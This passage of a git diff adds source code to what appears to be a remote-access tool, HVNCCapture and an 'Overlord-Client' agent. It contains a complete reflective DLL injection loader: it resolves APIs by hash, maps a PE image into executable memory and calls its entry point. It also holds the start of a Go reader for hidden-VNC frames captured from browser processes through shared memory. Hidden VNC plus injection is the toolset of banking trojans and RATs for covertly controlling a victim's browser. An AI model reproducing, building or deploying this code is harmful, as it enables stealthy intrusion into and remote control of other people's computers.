+ uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
+ while (uiValueA)
+ {
+ // get pointer to current modules name (unicode string)
+ uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
+ // set bCounter to the length for the loop
+ usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
+ // clear uiValueC which will store the hash of the module name
+ uiValueC = 0;
+
+ // compute the hash of the module name...
+ do
+ {
+ uiValueC = ror((DWORD)uiValueC);
+ // normalize to uppercase if the madule name is in lowercase
+ if (*((BYTE*)uiValueB) >= 'a')
+ uiValueC += *((BYTE*)uiValueB) - 0x20;
+ else
+ uiValueC += *((BYTE*)uiValueB);
+ uiValueB++;
+ } while (--usCounter);
+
+ // compare the hash with that of kernel32.dll
+ if ((DWORD)uiValueC == KERNEL32DLL_HASH)
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of name pointers
+ uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
+
+ usCounter = 3;
+
+ // loop while we still have imports to find
+ while (usCounter > 0)
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
+
+ // if we have found a function we want we get its virtual address
+ if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
+
+ // store this functions VA
+ if (dwHashValue == LOADLIBRARYA_HASH)
+ pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
+ else if (dwHashValue == GETPROCADDRESS_HASH)
+ pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
+ else if (dwHashValue == VIRTUALALLOC_HASH)
+ pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+ else if ((DWORD)uiValueC == NTDLLDLL_HASH)
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of name pointers
+ uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
+
+ usCounter = 1;
+
+ // loop while we still have imports to find
+ while (usCounter > 0)
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
+
+ // if we have found a function we want we get its virtual address
+ if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
+
+ // store this functions VA
+ if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
+ pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+
+ // we stop searching when we have found everything we need.
+ if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
+ break;
+
+ // get the next entry
+ uiValueA = DEREF(uiValueA);
+ }
+
+ // STEP 2: load our image into a new permanent location in memory...
+
+ // get the VA of the NT Header for the PE to be loaded
+ uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
+ // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
+ uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // we must now copy over the headers
+ uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
+ uiValueB = uiLibraryAddress;
+ uiValueC = uiBaseAddress;
+
+ while (uiValueA--)
+ *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
+
+ // STEP 3: load in all of our sections...
+
+ // uiValueA = the VA of the first section
+ uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
+
+ // itterate through all sections, loading them into memory.
+ uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
+ while (uiValueE--)
+ {
+ // uiValueB is the VA for this section
+ uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
+
+ // uiValueC if the VA for this sections data
+ uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
+
+ // copy the section over
+ uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
+
+ while (uiValueD--)
+ *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
+
+ // get the VA of the next section
+ uiValueA += sizeof(IMAGE_SECTION_HEADER);
+ }
+
+ // STEP 4: process our images import table...
+
+ // uiValueB = the address of the import directory
+ uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+
+ // we assume their is an import table to process
+ // uiValueC is the first entry in the import table
+ uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
+
+ // itterate through all imports
+ while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
+ {
+ // use LoadLibraryA to load the imported module into memory
+ uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
+
+ // uiValueD = VA of the OriginalFirstThunk
+ uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
+
+ // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
+ uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
+
+ // itterate through all imported functions, importing by ordinal if no name present
+ while (DEREF(uiValueA))
+ {
+ // sanity check uiValueD as some compilers only import by FirstThunk
+ if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ {
+ // get the VA of the modules NT Header
+ uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of addresses
+ uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use the import ordinal (- export ordinal base) as an index into the array of addresses
+ uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
+
+ // patch in the address for this imported function
+ DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
+ }
+ else
+ {
+ // get the VA of this functions import by name struct
+ uiValueB = (uiBaseAddress + DEREF(uiValueA));
+
+ // use GetProcAddress and patch in the address for this imported function
+ DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
+ }
+ // get the next imported function
+ uiValueA += sizeof(ULONG_PTR);
+ if (uiValueD)
+ uiValueD += sizeof(ULONG_PTR);
+ }
+
+ // get the next import
+ uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
+ }
+
+ // STEP 5: process all of our images relocations...
+
+ // calculate the base address delta and perform relocations (even if we load at desired image base)
+ uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
+
+ // uiValueB = the address of the relocation directory
+ uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+
+ // check if their are any relocations present
+ if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
+ {
+ // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
+ uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
+
+ // and we itterate through all entries...
+ while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
+ {
+ // uiValueA = the VA for this relocation block
+ uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
+
+ // uiValueB = number of entries in this relocation block
+ uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
+
+ // uiValueD is now the first entry in the current relocation block
+ uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
+
+ // we itterate through all the entries in the current block...
+ while (uiValueB--)
+ {
+ // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
+ // we dont use a switch statement to avoid the compiler building a jump table
+ // which would not be very position independent!
+ if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
+ *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
+ *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
+#ifdef WIN_ARM
+ // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
+ {
+ register DWORD dwInstruction;
+ register DWORD dwAddress;
+ register WORD wImm;
+ // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
+ dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
+ // flip the words to get the instruction as expected
+ dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ // sanity chack we are processing a MOV instruction...
+ if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
+ {
+ // pull out the encoded 16bit value (the high portion of the address-to-relocate)
+ wImm = (WORD)(dwInstruction & 0x000000FF);
+ wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
+ wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
+ wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
+ // apply the relocation to the target address
+ dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
+ // now create a new instruction with the same opcode and register param.
+ dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
+ // patch in the relocated address...
+ dwInstruction |= (DWORD)(dwAddress & 0x00FF);
+ dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
+ dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
+ dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
+ // now flip the instructions words and patch back into the code...
+ *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ }
+ }
+#endif
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
+ *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
+ *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
+
+ // get the next entry in the current relocation block
+ uiValueD += sizeof(IMAGE_RELOC);
+ }
+
+ // get the next entry in the relocation directory
+ uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
+ }
+ }
+
+ // STEP 6: call our images entry point
+
+ // uiValueA = the VA of our newly loaded DLL/EXE's entry point
+ uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
+
+ // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
+ pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
+
+ // call our respective entry point, fudging our hInstance value
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+ // Store the parameter globally so DllMain can access it
+ g_lpReflectiveParameter = lpParameter;
+ // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
+ ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
+#else
+ // if we are injecting an DLL via a stub we call DllMain with no parameter
+ ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
+#endif
+
+ // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
+ return uiValueA;
+}
+//===============================================================================================//
+#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ BOOL bReturnValue = TRUE;
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
+ if (lpReserved != NULL)
+ *(HMODULE*)lpReserved = hAppInstance;
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
+
+#endif
+//===============================================================================================//
diff --git a/HVNCCapture/src/ReflectiveLoader.h b/HVNCCapture/src/ReflectiveLoader.h
new file mode 100644
index 0000000..3e13533
--- /dev/null
+++ b/HVNCCapture/src/ReflectiveLoader.h
@@ -0,0 +1,215 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+#include
+
+#ifdef _MSC_VER
+#include
+#else
+// MinGW/GCC: _rotr lives in , __readgsqword in
+#include
+#include
+#endif
+
+#include "ReflectiveDLLInjection.h"
+
+typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
+typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
+typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
+typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
+
+#define KERNEL32DLL_HASH 0x6A4ABC5B
+#define NTDLLDLL_HASH 0x3CFA685D
+
+#define LOADLIBRARYA_HASH 0xEC0E4E8E
+#define GETPROCADDRESS_HASH 0x7C0DFCAA
+#define VIRTUALALLOC_HASH 0x91AFCA54
+#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
+
+#define IMAGE_REL_BASED_ARM_MOV32A 5
+#define IMAGE_REL_BASED_ARM_MOV32T 7
+
+#define ARM_MOV_MASK (DWORD)(0xFBF08000)
+#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
+#define ARM_MOVW 0xF2400000
+#define ARM_MOVT 0xF2C00000
+
+#define HASH_KEY 13
+//===============================================================================================//
+#ifdef _MSC_VER
+#pragma intrinsic( _rotr )
+#define RDI_INLINE __forceinline
+#else
+#define RDI_INLINE static inline __attribute__((always_inline))
+#endif
+
+RDI_INLINE DWORD ror(DWORD d)
+{
+ return _rotr(d, HASH_KEY);
+}
+
+RDI_INLINE DWORD hash(char* c)
+{
+ register DWORD h = 0;
+ do
+ {
+ h = ror(h);
+ h += *c;
+ } while (*++c);
+
+ return h;
+}
+//===============================================================================================//
+typedef struct _UNICODE_STR
+{
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR pBuffer;
+} UNICODE_STR, * PUNICODE_STR;
+
+// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
+//__declspec( align(8) )
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STR FullDllName;
+ UNICODE_STR BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+// WinDbg> dt -v ntdll!_PEB_LDR_DATA
+typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
+{
+ DWORD dwLength;
+ DWORD dwInitialized;
+ LPVOID lpSsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID lpEntryInProgress;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
+typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
+{
+ struct _PEB_FREE_BLOCK* pNext;
+ DWORD dwSize;
+} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
+
+// struct _PEB is defined in Winternl.h but it is incomplete
+// WinDbg> dt -v ntdll!_PEB
+typedef struct __PEB // 65 elements, 0x210 bytes
+{
+ BYTE bInheritedAddressSpace;
+ BYTE bReadImageFileExecOptions;
+ BYTE bBeingDebugged;
+ BYTE bSpareBool;
+ LPVOID lpMutant;
+ LPVOID lpImageBaseAddress;
+ PPEB_LDR_DATA pLdr;
+ LPVOID lpProcessParameters;
+ LPVOID lpSubSystemData;
+ LPVOID lpProcessHeap;
+ PRTL_CRITICAL_SECTION pFastPebLock;
+ LPVOID lpFastPebLockRoutine;
+ LPVOID lpFastPebUnlockRoutine;
+ DWORD dwEnvironmentUpdateCount;
+ LPVOID lpKernelCallbackTable;
+ DWORD dwSystemReserved;
+ DWORD dwAtlThunkSListPtr32;
+ PPEB_FREE_BLOCK pFreeList;
+ DWORD dwTlsExpansionCounter;
+ LPVOID lpTlsBitmap;
+ DWORD dwTlsBitmapBits[2];
+ LPVOID lpReadOnlySharedMemoryBase;
+ LPVOID lpReadOnlySharedMemoryHeap;
+ LPVOID lpReadOnlyStaticServerData;
+ LPVOID lpAnsiCodePageData;
+ LPVOID lpOemCodePageData;
+ LPVOID lpUnicodeCaseTableData;
+ DWORD dwNumberOfProcessors;
+ DWORD dwNtGlobalFlag;
+ LARGE_INTEGER liCriticalSectionTimeout;
+ DWORD dwHeapSegmentReserve;
+ DWORD dwHeapSegmentCommit;
+ DWORD dwHeapDeCommitTotalFreeThreshold;
+ DWORD dwHeapDeCommitFreeBlockThreshold;
+ DWORD dwNumberOfHeaps;
+ DWORD dwMaximumNumberOfHeaps;
+ LPVOID lpProcessHeaps;
+ LPVOID lpGdiSharedHandleTable;
+ LPVOID lpProcessStarterHelper;
+ DWORD dwGdiDCAttributeList;
+ LPVOID lpLoaderLock;
+ DWORD dwOSMajorVersion;
+ DWORD dwOSMinorVersion;
+ WORD wOSBuildNumber;
+ WORD wOSCSDVersion;
+ DWORD dwOSPlatformId;
+ DWORD dwImageSubsystem;
+ DWORD dwImageSubsystemMajorVersion;
+ DWORD dwImageSubsystemMinorVersion;
+ DWORD dwImageProcessAffinityMask;
+ DWORD dwGdiHandleBuffer[34];
+ LPVOID lpPostProcessInitRoutine;
+ LPVOID lpTlsExpansionBitmap;
+ DWORD dwTlsExpansionBitmapBits[32];
+ DWORD dwSessionId;
+ ULARGE_INTEGER liAppCompatFlags;
+ ULARGE_INTEGER liAppCompatFlagsUser;
+ LPVOID lppShimData;
+ LPVOID lpAppCompatInfo;
+ UNICODE_STR usCSDVersion;
+ LPVOID lpActivationContextData;
+ LPVOID lpProcessAssemblyStorageMap;
+ LPVOID lpSystemDefaultActivationContextData;
+ LPVOID lpSystemAssemblyStorageMap;
+ DWORD dwMinimumStackCommit;
+} _PEB, * _PPEB;
+
+typedef struct
+{
+ WORD offset : 12;
+ WORD type : 4;
+} IMAGE_RELOC, * PIMAGE_RELOC;
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/HVNCCapture/src/seh_compat.h b/HVNCCapture/src/seh_compat.h
new file mode 100644
index 0000000..322e1b8
--- /dev/null
+++ b/HVNCCapture/src/seh_compat.h
@@ -0,0 +1,18 @@
+// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
+#ifndef _HVNC_SEH_COMPAT_H
+#define _HVNC_SEH_COMPAT_H
+
+#ifdef __MINGW32__
+// MinGW doesn't support MSVC structured exception handling.
+// Replace __try/__except with plain code execution (no SEH guard).
+#define __try
+#define __except(x) if (0)
+#define __finally
+
+// MSVC uses GetExceptionCode() inside __except; provide a stub.
+#ifndef GetExceptionCode
+#define GetExceptionCode() 0
+#endif
+#endif // __MINGW32__
+
+#endif // _HVNC_SEH_COMPAT_H
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go
new file mode 100644
index 0000000..efd2dd2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go
@@ -0,0 +1,318 @@
+//go:build windows
+
+package capture
+
+import (
+ "encoding/binary"
+ "fmt"
+ "log"
+ "sync"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
+// must be kept in sync with HVNCCapture/src/DXGICapture.h.
+type hvncFrameHeader struct {
+ Magic uint32
+ Version uint32
+ Width uint32
+ Height uint32
+ Stride uint32
+ Format uint32
+ FrameSeq uint64
+ TimestampNs uint64
+ PID uint32
+ Reserved uint32
+}
+
+const (
+ hvncFrameMagic = 0x434E5648 // 'HVNC'
+ hvncFrameVersion = 1
+ hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
+ hvncShmPrefix = `Local\hvnc_frame_`
+ hvncEventPrefix = `Local\hvnc_evt_`
+)
+
+var (
+ procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
+ procOpenEventW = kernel32.NewProc("OpenEventW")
+)
+
+const (
+ FILE_MAP_READ = 0x0004
+ EVENT_ALL_ACCESS = 0x1F0003
+ SYNCHRONIZE = 0x00100000
+)
+
+type hvncFrameReader struct {
+ pid uint32
+ shmHandle uintptr
+ shmView unsafe.Pointer
+ shmSize uintptr
+ evtHandle uintptr
+ lastSeq uint64
+ staleCount int
+ mu sync.Mutex
+}
+
+var (
+ hvncFrameReaders = make(map[uint32]*hvncFrameReader)
+ hvncFrameReadersMu sync.Mutex
+
+ hvncGPUPIDMap = make(map[uint32]uint32)
+)
+
+func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
+ hvncFrameReadersMu.Lock()
+ hvncGPUPIDMap[browserPID] = gpuPID
+ hvncFrameReadersMu.Unlock()
+ log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
+}
+
+func hvncGetFrameReader(pid uint32) *hvncFrameReader {
+ hvncFrameReadersMu.Lock()
+ defer hvncFrameReadersMu.Unlock()
+
+ if r, ok := hvncFrameReaders[pid]; ok {
+ if r.staleCount > 300 {
+ log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
+ r.close()
+ delete(hvncFrameReaders, pid)
+ } else {
+ return r
+ }
+ }
+
+ shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
+ shmHandle, _, _ := procOpenFileMappingW.Call(
+ FILE_MAP_READ,
+ 0,
+ uintptr(unsafe.Pointer(shmName)),
+ )
+ if shmHandle == 0 {
+ return nil
+ }
+
+ view, _, _ := procMapViewOfFile.Call(
+ shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ hvncFrameHeaderSize,
+ )
+ if view == 0 {
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
+ hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
+ if hdr.Magic != hvncFrameMagic {
+ procUnmapViewOfFile.Call(view)
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
+ fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
+
+ procUnmapViewOfFile.Call(view)
+ view = 0
+ hdr = nil
+
+ fullView, _, _ := procMapViewOfFile.Call(
+ shmHandle,
+ FILE_MAP_READ,
+ 0, 0,
+ fullSize,
+ )
+ if fullView == 0 {
+ procCloseHandle.Call(shmHandle)
+ return nil
+ }
+
